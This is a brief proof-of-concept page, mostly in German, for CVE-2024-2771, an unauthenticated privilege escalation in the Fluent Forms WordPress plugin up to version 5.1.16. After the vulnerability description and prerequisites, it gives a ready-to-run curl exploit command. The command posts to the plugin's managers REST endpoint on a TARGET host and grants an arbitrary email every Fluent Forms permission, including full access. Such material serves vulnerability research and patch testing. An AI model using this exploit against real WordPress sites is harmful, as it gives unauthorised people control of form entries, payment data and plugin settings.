CVE-2024-2771-PoC

CVE-2024-2771 Proof-of-Concept

Das Contact Form Plugin von Fluent Forms für Quiz, Survey und Drag & Drop WP Form Builder Plugin für WordPress ist anfällig für Privilegieneskalation aufgrund einer fehlenden Berechtigungsprüfung im REST-API-Endpunkt /wp-json/fluentform/v1/managers in allen Versionen bis einschließlich 5.1.16. Dies ermöglicht es nicht authentifizierten Angreifern, Benutzern Fluent-Form-Verwaltungsberechtigungen zu erteilen, die ihnen Zugriff auf alle Einstellungen und Funktionen des Plugins gewähren. Ebenso können nicht authentifizierte Angreifer Manager-Konten löschen.

Voraussetzungen

• WordPress-Website mit aktiviertem Contact Form – Fluent Forms ≤ 5.1.16.
• Angreifer kann die REST-API der Website erreichen (keine Authentifizierung erforderlich).

Exploit-Befehl

# 1. Grant full Fluent Forms permissions to an arbitrary email
curl -i -X POST "http://TARGET/wp-json/fluentform/v1/managers" \
     -H "Content-Type: application/json" \
     -d '{
           "manager": {
             "email": "[email protected]",
             "permissions": [
               "fluentform_dashboard_access",
               "fluentform_forms_manager",
               "fluentform_entries_viewer",
               "fluentform_manage_entries",
               "fluentform_view_payments",
               "fluentform_manage_payments",
               "fluentform_settings_manager",
               "fluentform_full_access"
             ]
           }
         }'